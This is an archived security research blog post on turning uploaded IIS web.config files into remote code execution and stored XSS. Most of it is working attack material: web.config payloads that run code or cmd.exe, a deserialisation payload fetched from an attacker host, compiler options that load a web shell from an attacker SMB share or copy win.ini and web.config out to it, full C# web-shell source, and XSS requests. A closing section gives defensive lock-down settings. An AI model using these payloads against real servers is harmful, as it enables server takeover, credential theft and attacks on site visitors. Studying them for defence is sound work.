Uploading web.config for Fun and Profit 2

Uploading web.config for Fun and Profit 2 - Soroush Dalili, soroush.me.

- Published: date not stated
- Original: <https://soroush.me/blog/uploading-web-config-for-fun-and-profit-2>
- Preserved from: https://soroush.me/blog/uploading-web-config-for-fun-and-profit-2 (stored) on 2026-08-11
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Uploading web.config for Fun and Profit 2

Introduction

This is the second part of my Uploading web.config For Fun and Profit! I wrote the original blog post back in 2014 [[1]](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) in which I had described a method to run ASP classic code as well as performing stored XSS attacks only by uploading a web.config file.

In this blog post, as well as focusing on running the web.config file itself, I have covered other techniques that can come in handy when uploading a web.config in an application on IIS. My main goal is to execute code or commands on the server using a web.config file and have added more techniques for stored XSS as well.

The techniques described here have been divided into two major groups depending on whether a web.config file can be uploaded in an application root or in a subfolder/virtual directory. Please see [[2]](https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis) if you are not familiar with virtual directory and application terms in IIS. Another blog post of mine can also be helpful to identify a virtual directory or an application during a blackbox assessment [[3]](https://soroush.secproject.com/blog/2019/07/iis-application-vs-folder-detection-during-blackbox-testing/).

1. Execute command using web.config in the root or an application directory

This method can be very destructive where an application already uses a web.config file that is going to be replaced with ours which might not have all the required settings such as the database connection string or some valid assembly references. It is recommended to not use this technique on live websites when an application might have used a web.config file which is going to be replaced. IIS applications that are inside other applications or virtual directories might not use a web.config file and are generally safer candidates than website's root directory. The following screenshot shows an example of an internal application `anotherapp` inside the `testwebconfig` application which is also inside the `Default Web Site`.

[image: Uploading web.config for Fun and Profit 2]

There are many methods that can be used to execute commands on a server if the web.config file within the root directory of an application can be modified.

I have included four interesting examples in this blog posts which are as follows.

1.1. Executing web.config as an ASPX page

This is very similar to [[1]](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) but as we are uploading a web.config file within the root directory of an application, we have more control and we can use the managed handlers to run a web.config file as an ASPX page. The following web.config file shows an example:

Copy

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Script, Write">
            <add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" mo
            <add name="web_config-Classic" path="web.config" verb="*" modules="IsapiModule" scriptProcessor
        </handlers>
        <security>
            <requestFiltering>
                <fileExtensions>
                    <remove fileExtension=".config" />
                </fileExtensions>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
            </requestFiltering>
        </security>
        <validation validateIntegratedModeConfiguration="false" />
</system.webServer>
<system.web>
        <compilation defaultLanguage="vb">
            <buildProviders> <add extension=".config" type="System.Web.Compilation.PageBuildProvider" /> </bu
```

```
23            </compilation>
24            <httpHandlers>
25                  <add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" />
26            </httpHandlers>
27    </system.web>
28</configuration>
29<!-- ASP.NET code comes here! It should not include HTML comment closing tag and double dashes!
30<%
31Response.write("-"&"->")
32' it is running the ASP code if you can see 3 by opening the web.config file!
33Response.write(1+2)
34Response.write("<!-"&"-")
35%>
36-->
```

It is then possible to browse the web.config file to run it as an ASP.NET page. Obviously the XML contents will also be accessible from the web. Perhaps it is just easier to upload another file with an allowed extension such as a `.config`, `.jpg` or `.txt` file and run that as a `.aspx` page.

1.2. Running command using AspNetCoreModule

It is also possible to run a command using the `ASP.NET Core Module` as shown below:

Copy

```
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <system.webServer>
    <handlers>
      <remove name="aspNetCore" />
          <add name="aspNetCore" path="backdoor.me" verb="*" modules="AspNetCoreModule" resourceType="U
    </handlers>
      <aspNetCore processPath="cmd.exe" arguments="/c calc"/>
  </system.webServer>
</configuration>
```

The stated command would be executed by browsing the `backdoor.me` page which does not need to exist on the server! A PowerShell command can be used here as an example for a reverse shell.

1.3. Using Machine Key

As described in [[4]](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/), the `machineKey` element can be set in the web.config file in order to abuse a deserialisation feature to run code and command on the server.

1.4. Using JSON_AppService.axd

This is a sneaky way of running code on the server using a known deserialisation issue within an authentication process in .NET Framework (see [[5]](https://www.nccgroup.trust/uk/our-research/use-of-deserialisation-in-.net-framework-methods-and-classes/) for more information).

In this case, the web.config file can look like this:

Copy

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web.extensions>
<scripting>
<webServices>
<authenticationService enabled="true" requireSSL="false" />
</webServices>
</scripting>
</system.web.extensions>

<appSettings>
<add key="aspnet:UseLegacyClientServicesJsonHandling" value="true" />
</appSettings>

<system.web>
<membership defaultProvider="ClientAuthenticationMembershipProvider">
<providers>
<add name="ClientAuthenticationMembershipProvider" type="System.Web.ClientServices.Providers.ClientFormsAut
</providers>
</membership>
</system.web>
```

```
22</configuration>
```

The following JSON shows the `payload` page on the attacker' website (http://attacker.com/payload) that should accept a POST request:

Copy

```
{
 '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, Pub
 'MethodName':'Start',
 'ObjectInstance':{
    '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e0
    'StartInfo': {
       '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5
       'FileName':'cmd',
       'Arguments':'/c calc'
    }
 }
}
```

After uploading the web.config file and setting up the payload page on a remote server, attackers can send the following HTTP request to run their code and command on the server:

Copy

```
POST /testwebconfig/Authentication_JSON_AppService.axd/login HTTP/1.1
Host: victim.com
Content-Length: 72
Content-Type: application/json;charset=UTF-8

{"userName":"foo","password":"bar","createPersistentCookie":false}
```

It should be noted that `Profile_JSON_AppService.axd` or `Role_JSON_AppService.axd` might come in handy here as well but they need to be enabled in web.config and a suitable method needs to be called to trigger the deserialisation process.

2. Execute command using web.config in a subfolder/virtual directory

A web.config file in a virtual directory is more limited than a web.config in the root of an application folder. Some of the useful sections or properties that can be abused to execute commands such as `AspNetCoreModule`, `machineKey`, `buildProviders` and `httpHandlers` cannot be used in a web.config which is in a subfolder.

In my previous related blog post back in 2014 [[1]] (https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/), I had found a method to run a web.config file as an ASP file when ISAPI modules were allowed to be used in a virtual directory. It looks like this:

Copy

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system3
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions>
          <remove fileExtension=".config" />
        </fileExtensions>
        <hiddenSegments>
          <remove segment="web.config" />
        </hiddenSegments>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
```

```
23Response.write(1+2)
24Response.write("<!-"&"-")
25%>
26-->
```

Other modules such as the ones used for PHP can also be used similarly when they are allowed. However, it is often not possible to run anything but .NET code when an IIS application has been configured properly. As a result, I am introducing a few more techniques for this purpose.

2.1. Abusing the compilerOptions attribute

I am going to use the following web.config file as my base template:

Copy

```
1<?xml version="1.0" encoding="UTF-8"?>
2<configuration>
3<system.web>
4<httpRuntime targetFramework="4.67.1"/>
5<compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True"
6batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="1
7defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">
8
9<assemblies>
10
11</assemblies>
12
13<expressionBuilders>
14
15</expressionBuilders>
16
17<compilers>
18<compiler language="c#"
19extension=".cs;.config"
20type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
21warningLevel="4"
22compilerOptions=''/>
```

```
23</compilers>
24</compilation>
25</system.web>
26<system.webServer>
27<handlers>
28<add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="Fi
29</handlers>
30<security>
31<requestFiltering>
32<hiddenSegments>
33<remove segment="web.config" />
34</hiddenSegments>
35<fileExtensions>
36<remove fileExtension=".config" />
37</fileExtensions>
38</requestFiltering>
39</security>
40</system.webServer>
41</configuration>
```

The `type` attribute of the `compiler` element can be set to one of the followings default types (version can change):

C#:

Copy

```
1Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e08
```

This uses the `csc.exe` command to compile.

VB.NET (version 2 was chosen as an example):

Copy

```
1Microsoft.VisualBasic.VBCodeProvider, System, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934
```

This uses the `vbc.exe` command to compile.

Jscript.NET:

Copy

```
1Microsoft.JScript.JScriptCodeProvider, Microsoft.JScript, Version=7.0.3300.0, Culture=neutral, PublicKeyToken=b03f5f7
```

This uses the `jsc.exe` command to compile.

These commands can generally be found in the .NET folder. For .NET v4 the folder would be:

Copy

```
1C:\Windows\Microsoft.NET\Framework64\v4.0.30319\
```

The value of the `compilerOptions` attribute in the above web.config template file will be added to the compiler commands as an argument. Multiple arguments can be provided using white space characters.

When no option is provided for the compiler command, the value of the `compilerOptions` attribute will be treated as a file name for the compiler to compile.

The # character will terminate the command and an @ character will load another file as described in [[6]](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/listed-alphabetically).

If we could find a method to execute command when compiling a C#, VB.NET, or Jscript.NET file, we could easily exploit this by compiling an additional file perhaps from a remote shared drive or a previously uploaded static file. However, I could not find anything whilst doing my research on this. Please let me know if you know a trick and I will add it here!

**Important note: **It should be noted that if ASP.NET pages exist in the same folder that a web.config file is being uploaded to, they will stop working using the examples which I am providing here as we are changing the compilation process. Therefore, if you have only one shot in uploading a web.config file and you cannot rewrite it again, you should be absolutely certain about your approach and perhaps completely avoid this on a live application where it cannot be safely uploaded in an empty folder.

The following string shows the `compilerOptions` attribute that can be used to create a dirty web shell with some binary data in a web directory:

Copy

```
1/resource:"\\KaliBoxIP\Public\webshell.txt" /out:"C:\appdata\wwwroot\myapp\webshell.aspx" #
```

After browsing the web.config file with the above setting, a binary file with the `webshell.aspx` name will be created in the requested path. Knowledge of the application path on the server is important here. It is possible to reveal the application path simply by causing an error when error messages within the ASP.NET Yellow Screen of Death (YSOD) are displayed. It is recommended to create an error in another file rather than the web.config file itself but if you can modify it later, here is a web.config file that simply shows an error:

Copy

```
1<?xml version="1.0" encoding="UTF-8"?>
2<configuration>
3<system.web>
4<customErrors mode="Off" />
5            IDontExist!
6</system.web>
7</configuration>
```

The web shell should also be created outside of where our web.config file has been uploaded unless it is possible to change the web.config file after creating the web shell to remove the `compilerOptions` attribute to allow the normal compilation process.

It should be noted that the code within the webshell.txt will be embedded in the middle of the webshell.aspx which contains binary data. As this is not a clean copy of the webshell, it can be used as the first stage of gaining access.

What if SMB is not reachable:

Where the target cannot communicate via SMB, it is possible to upload the web shell with an allowed extension to include it in the `/resource` option:

Copy

```
1/resource:"C:\appdata\wwwroot\myapp\attachment\myshell.config" /out:"C:\appdata\wwwroot\myapp\webshell.asp
```

When an ASPX file exists in the same folder that a web.config file is being uploaded to, it is possible to change the compilation process to take it over.

Knowledge of application and virtual directories is important to use this technique. I will explain this using the following example:

A web.config file can be uploaded in `C:\appdata\wwwroot\myapp\attachment\` and `file.aspx` also exists in the same path and is accessible via the following URL:

Copy

```
1https://victim.com/myapp/attachment/file.aspx
```

Now it is possible to use the following compiler option to take over this file:

Copy

```
1\\KaliBoxIP\Public\webshellcs.txt #
```

Or

Copy

```
1"C:\appdata\wwwroot\myapp\attachment\webshellcs.txt" #
```

Content of the `webshellcs.txt` file was:

Copy

```
1namespace ASP
2{
3  using System;
4  [System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()]
5  public class attachment_file_aspx : global::System.Web.UI.Page, System.Web.IHttpHandler
6  {
7    private void @__Render__control1(System.Web.UI.HtmlTextWriter @__w, System.Web.UI.Control parameterCont
8    {
9      if (!String.IsNullOrEmpty(Request["cmd"]))
10       {
11         System.Diagnostics.Process process = new System.Diagnostics.Process();
12         process.StartInfo.FileName = Request["cmd"];
13         process.StartInfo.Arguments = Request["arg"];
14         process.StartInfo.UseShellExecute = false;
15         process.StartInfo.RedirectStandardOutput = true;
16         process.StartInfo.RedirectStandardError = true;
17         process.Start();
18         //* Read the output (or the error)
19         string output = process.StandardOutput.ReadToEnd();
20         @__w.Write("Result:<br><pre>");
21         @__w.Write(output);
22       }
```

```
23        else
24        {
25            @__w.Write("Use:\"?cmd=cmd.exe&arg=/c dir\" as an example!");
26        }
27    }
28
29    [System.Diagnostics.DebuggerNonUserCodeAttribute()]
30    protected override void FrameworkInitialize()
31    {
32        this.SetRenderMethodDelegate(new System.Web.UI.RenderMethod(this.@__Render__control1));
33    }
34}
35}
```

The following string shows the `compilerOptions` attribute:

Copy

```
1/resource:c:\windows\win.ini /out:\\KaliBoxIP\Public\test.bin
```

After opening an existing ASP.NET page in the upload folder, this creates the `test.pdb` and `test.bin` files in the shared folder that includes the `win.ini` file. This can especially be useful to steal the application's web.config file as it may contain sensitive data such as the machine key that can lead to remote code execution straight away [[4]] (https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/).

The following string shows the `compilerOptions` attribute:

Copy

```
1/resource:\\KaliBoxIP\Public\test.txt -bugreport:\\KaliBoxIP\Public\foobar1.txt /errorreport:none
```

After opening an existing ASP.NET page in that folder, this creates a large file on the shared path that might contain sensitive data about the application or its underlying technology.

[image: Uploading web.config for Fun and Profit 2]

Obviously this file can also be created on the same web server when the path is known and files can be downloaded remotely.

2.2. Taking over existing/uploaded .NET files

The following web.config can be used to take over existing web service files:

Copy

```
1<?xml version="1.0" encoding="UTF-8"?>
2<configuration>
3<system.web>
4<webServices>
5<protocols>
6<add name="Documentation"/>
7</protocols>
8<wsdlHelpGenerator href="\\KaliBoxIP\Public\webshell.aspx"/>
9</webServices>
10</system.web>
11</configuration>
```

This would load the webshell.aspx file from a SMB share and would execute it when opening any existing ASMX files in that folder.

It is also possible to remap the `.master` and `.ascx` extensions to act like ASMX files to take them over as well. The chance of uploading these files is higher than other ASP.NET extensions such as `.aspx`, `.asmx`, `.ashx`, `.svc`, and `.soap` that can also be taken over using the same technique.

The following web.config file shows an example that can take over multiple file extensions:

Copy

```
1<?xml version="1.0" encoding="UTF-8"?>
2<configuration>
3<system.web>
4<webServices>
5<protocols>
6<add name="Documentation"/>
7</protocols>
8<wsdlHelpGenerator href="\\KaliBoxIP\Public\webshell.aspx"/>
9</webServices>
10</system.web>
11<system.webServer>
12<handlers>
13<add name="remap_asmx1" path="*.ascx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System
14<add name="remap_asmx2" path="*.master" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, Syst
15<add name="remap_asmx3" path="*.aspx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, Systen
16<add name="remap_asmx4" path="*.ashx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, Systen
17<add name="remap_asmx5" path="*.svc" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.
18<add name="remap_asmx6" path="*.soap" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, Systen
19</handlers>
20<security>
21<requestFiltering>
22<fileExtensions>
```

```
23<remove fileExtension=".ascx" />
24<remove fileExtension=".master" />
25</fileExtensions>
26</requestFiltering>
27</security>
28</system.webServer>
29</configuration>
```

It might be difficult to use this technique when SMB has been blocked as the file extension in the `href` attribute of the `wsdlHelpGenerator` element matters .

2.3. Stored XSS

It is also possible to create stored XSS. This might be useful when other methods do not work for any reasons.

A few methods of making the application vulnerable to XSS via uploading a web.config file was discussed in [[1]](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/). For example, when some files are allowed to be downloaded, it is possible to easily exploit this for XSS by manipulating the mimetypes. The following example shows how a `.txt` file could be run as a `.html` file:

Copy

```
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <system.webServer>
    <staticContent>
      <remove fileExtension=".txt" />
      <mimeMap fileExtension=".txt" mimeType="text/html" />
    </staticContent>
  </system.webServer>
</configuration>
```

In this blog post, two new ASP.NET handlers have also been identified that can be used for this purpose.

The `StateApplication` handler is an internal class within the `System.Web.SessionState` namespace that is used for caching and is not supposed to be called directly from user code. It can be abused to replace response of any exiting files with an arbitrary text.

The following web.config file shows an example with which the response of web.config is being replaced with an XSS payload:

Copy

```
1<?xml version="1.0" encoding="UTF-8"?>
2<configuration>
3<system.webServer>
4<handlers>
5<add name="web_config" path="*.config" verb="*" type="System.Web.SessionState.StateApplication,System.Web, Ve
6</handlers>
7<security>
8<requestFiltering>
9<hiddenSegments>
10<remove segment="web.config" />
11</hiddenSegments>
12<fileExtensions>
13<remove fileExtension=".config" />
14</fileExtensions>
15</requestFiltering>
16</security>
17</system.webServer>
18</configuration>
```

To create a stored XSS in cache for 525600 minutes (the maximum amount) the following request should be sent after uploading the web.config file:

Copy

```
1PUT /testwebconfig/userfiles/web.config HTTP/1.1
2Host: victim.com
3Http_Timeout: 525600
4Content-Length: 25
5
6<script>alert(1)</script>
```

To retrieve the content:

Copy

```
1http://victim.com/testwebconfig/userfiles/web.config
```

To delete the contents:

Copy

```
1DELETE /testwebconfig/userfiles/web.config HTTP/1.1
2Host: victim.com
3
```

In order to create multiple XSS payloads using the same name, additional parameters can be added to the URL. For example:

Copy

```
1Web.config/payload1

2or

3Web.config\payload1

4and

5Web.config?payload2
```

The `DiscoveryRequestHandler` class in the `System.Web.Services.Discovery` namespace can be used to serve XML files (a `.disco` file in its actual use). This can be abused to run JavaScript code from an XML response.

If a web.config file can be uploaded, a test.config file containing XML with JavaScript code can be uploaded as well. The following web.config shows an example with which the test.config file will be served as an XML file:

Copy

```
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<add name="web_config" path="test.config" verb="*" type="System.Web.Services.Discovery.DiscoveryRequestHandle
</handlers>
<security>
<requestFiltering>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
</requestFiltering>
</security>
</system.webServer>
</configuration>
```

The test.config file can be:

Copy

```
1<?xml version="1.0" ?>

2<script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
```

It should be noted that an XML file with a valid `DynamicDiscoveryDocument` type cannot be used for XSS as it will be used to search the current directory to discover existing web services instead. For curious readers, an example of valid file content was:

Copy

```
1<dynamicDiscovery xmlns="urn:schemas-dynamicdiscovery:disco.2000-03-17">

2   <exclude path="foobar"></exclude>

3</dynamicDiscovery>
```

3. Prevention techniques

The first line of defence is to validate the filenames, extensions, and contents using a whitelist approach. This can be done by allowing only appropriate file extensions and to check the file contents to ensure they use a valid format. More recommendation can be seen on the OWASP website [[7]](https://www.owasp.org/index.php/Unrestricted_File_Upload).

Another classic recommendation is to save the files outside of a web directory or in the database. A more secure way these days can be to store uploaded files in the cloud such as in Amazon S3. You have to make sure that access control checks are appropriate and working, and the implementation will not cause other security issues such as insecure object reference (IDOR) or path manipulations.

Using appropriate HTTP headers can also prevent cross-site content hijacking attacks (see [[8]] (https://github.com/nccgroup/CrossSiteContentHijacking)).

The following recommendations can also make the attacks via uploading web.config files harder:

- Using precompiled applications can make it more difficult for script kiddies to attack your application
- Ensure that there is no write permission on the existing files within the web application including web.config files especially outside of the upload directory
- Monitor creation of any dynamic files on the website to detect potential attacks

If you do not have access to the code, cannot change file permissions, or cannot alter how the application works, you can still use a web.config file in the application path or in the root of the website to mitigate some attacks that can happen by uploading a web.config file:

- If possible, ensure that the web.config files in virtual directories are disabled and cannot be used. This can be done by changing the `allowSubDirConfig` attributes within the `applicationHost.config` file which is normally located at `C:\Windows\System32\inetsrv\Config\` (see [[9]](https://techcommunity.microsoft.com/t5/IIS-Support-Blog/How-to-prevent-web-config-files-to-be-overwritten-by-config/ba-p/297627) for more details)
- Sensitive web.config elements that should not be changed by other web.config files in subdirectories should also be protected. This can be done using the `allowOverride` attribute or locking features within a web.config file (see [[10]](https://weblogs.asp.net/jongalloway/10-things-asp-net-developers-should-know-about-web-config-inheritance-and-overrides) and [[11]](https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms228167(v=vs.100)) for more details). The following web.config file shows an example that can be used in the parent directory to lock certain sections that were abused in this research:

Copy

```
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<system.webServer>
<handlers lockItem="true" />
<staticContent lockItem="true" />
<security>
<requestFiltering lockItem="true" />
</security>
</system.webServer>

<system.web>
<httpRuntime lockItem="true" />
<compilation lockItem="true" />
<webServices lockItem="true" />
</system.web>

<system.serviceModel>
<behaviors lockItem="true" />
<services lockItem="true" />
</system.serviceModel>
</configuration>
```

4. Behind the scene

This section basically covers what I did during the research to find the capabilities explained above. Although this might be the most boring part of this write-up, I think it can be useful for someone who wants to continue this research.

Finding how you can run code and command when a web.config can be in the root of an IIS application was the easiest part as I could just use documented web.config capabilities and my previous research.

However, exploring new methods when a web.config file is being uploaded in a subfolder -which is the most common case- required a lot more work.

4.1. Requirements and resources

The main resources of my research apart from time were ASP.NET Framework source code, Visual Studio, Sysinternals Process Monitor, dnSpy, Telerik JustDecompile, IIS web server, Kali Linux, and countless amount of Googling!

I used the Kali Linux mainly for having an easy unauthenticated SMB share that I could read/write from/to. The `/etc/samba/smb.conf` file that finally worked for me with SMB v3 support was:

Copy

```
[global]
#workgroup = WORKGROUP
#server string = Samba Server XYZ
#netbios name = someRandomUbuntu
#security = user
map to guest = Bad User
#dns proxy = no
log file = /var/log/samba/%m
log level = 1
server min protocol = SMB3
client min protocol = SMB3
client max protocol = SMB3

[Public]
path = /tmp/smbshare/
writable = yes
guest ok = yes
read >
browsable = yes
create mode = 0777
directory mode = 0777
```

```
22# force user = nobody
```

4.2. Compiler options

When abusing the compiler options, we are basically passing our arguments to a compiler (`csc.exe` , `vbc.exe` , or `jsc.exe`) inside a file that has been passed via the @ character. Although command injection comes to mind straight away, it did not work and I could not run another command using it.

There are two possible avenues that can lead to command execution easier than what I have found in this research:

- Code execution when a specific file is being compiled
- Finding an argument that can in turn run code or command

I failed to find anything that can work here. The `-analyzer` option sounded very promising for the C# Compiler but it was missing from the `csc.exe` file that was executed by .NET.

4.3. Exploring new handlers

As it can be seen in this blog post, identifying all HTTP handlers that can be processed within the web.config file was very important. This was done by searching classes that implemented `IHttpHandler` , `IHttpHandlerFactory` , and `IHttpHandlerFactory2` .

Here is how you can see them easily in the browser (thanks to Microsoft!):

https://referencesource.microsoft.com/#System.Web/IHttpHandler.cs,62c4e10ee7e6cd36,references

https://referencesource.microsoft.com/#System.Web/IHttpHandlerFactory.cs,8437c9ce8bcd1bda,references

https://referencesource.microsoft.com/#System.Web/IHttpHandlerFactory.cs,21cd2fd2bb57b501,references

It should be noted that sometimes new handlers could also be derived from the implementations. However, the behaviour was normally quite the same with minimal changes.

ASP.NET uses file extensions to detect their types and if it cannot get the proper type that for example is needed for a web service, it requires a new extension to be add to the `buildProviders` element. However, the `buildProviders` element can only be set by the applications otherwise it will show the following error:

Copy

```
1The element 'buildProviders' cannot be defined below the application level.
```

This protection has been coded within the `PostDeserialize()` method of `CompilationSection.cs` in .NET Framework rather than being in the `machine.config` file:

https://referencesource.microsoft.com/#System.Web/Configuration/CompilationSection.cs,904

There are ways to execute command on an IIS using extensions that are predefined but the focus of this research was to use new extensions that are likely to be allowed to be uploaded.

The predefined list of `buildProviders` can be seen in the main web.config within the ASP.NET configuration folder (e.g. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config).

4.4. Temporary and compiled files

Temporary and compiled files are normally copied into a temporary directory within .NET Framework for example:

Copy

```
1C:\Windows\Microsoft.NET\Framework64\[version]\Temporary ASP.NET Files\[appname]\[hash]\[hash]
```

Some of these files will be removed immediately and the easiest way for me to monitor them all was to remove the delete permission of all users on the temporary directory that my application used. This can be easily restored when it is not needed anymore.

We can create files there, we should be able to replace existing files of that application to execute code on the server in theory. In practice, all these files are using a random value in their name and they need to be stolen using for example 8.3 filenames to be analysed. I have not studied when .NET Framework creates new DLL files but in theory it should be possible to rewrite these existing DLL files to take over existing .NET files anywhere on the application.

5. References

[1] https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/

[2] https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis

[3] https://soroush.secproject.com/blog/2019/07/iis-application-vs-folder-detection-during-blackbox-testing/

[4] https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

[5] https://www.nccgroup.trust/uk/our-research/use-of-deserialisation-in-.net-framework-methods-and-classes/

[6] https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/listed-alphabetically

[7] https://www.owasp.org/index.php/Unrestricted_File_Upload

[8] https://github.com/nccgroup/CrossSiteContentHijacking

[9] https://techcommunity.microsoft.com/t5/IIS-Support-Blog/How-to-prevent-web-config-files-to-be-overwritten-by-config/ba-p/297627

[10] https://weblogs.asp.net/jongalloway/10-things-asp-net-developers-should-know-about-web-config-inheritance-and-overrides

[11] https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms228167(v=vs.100))
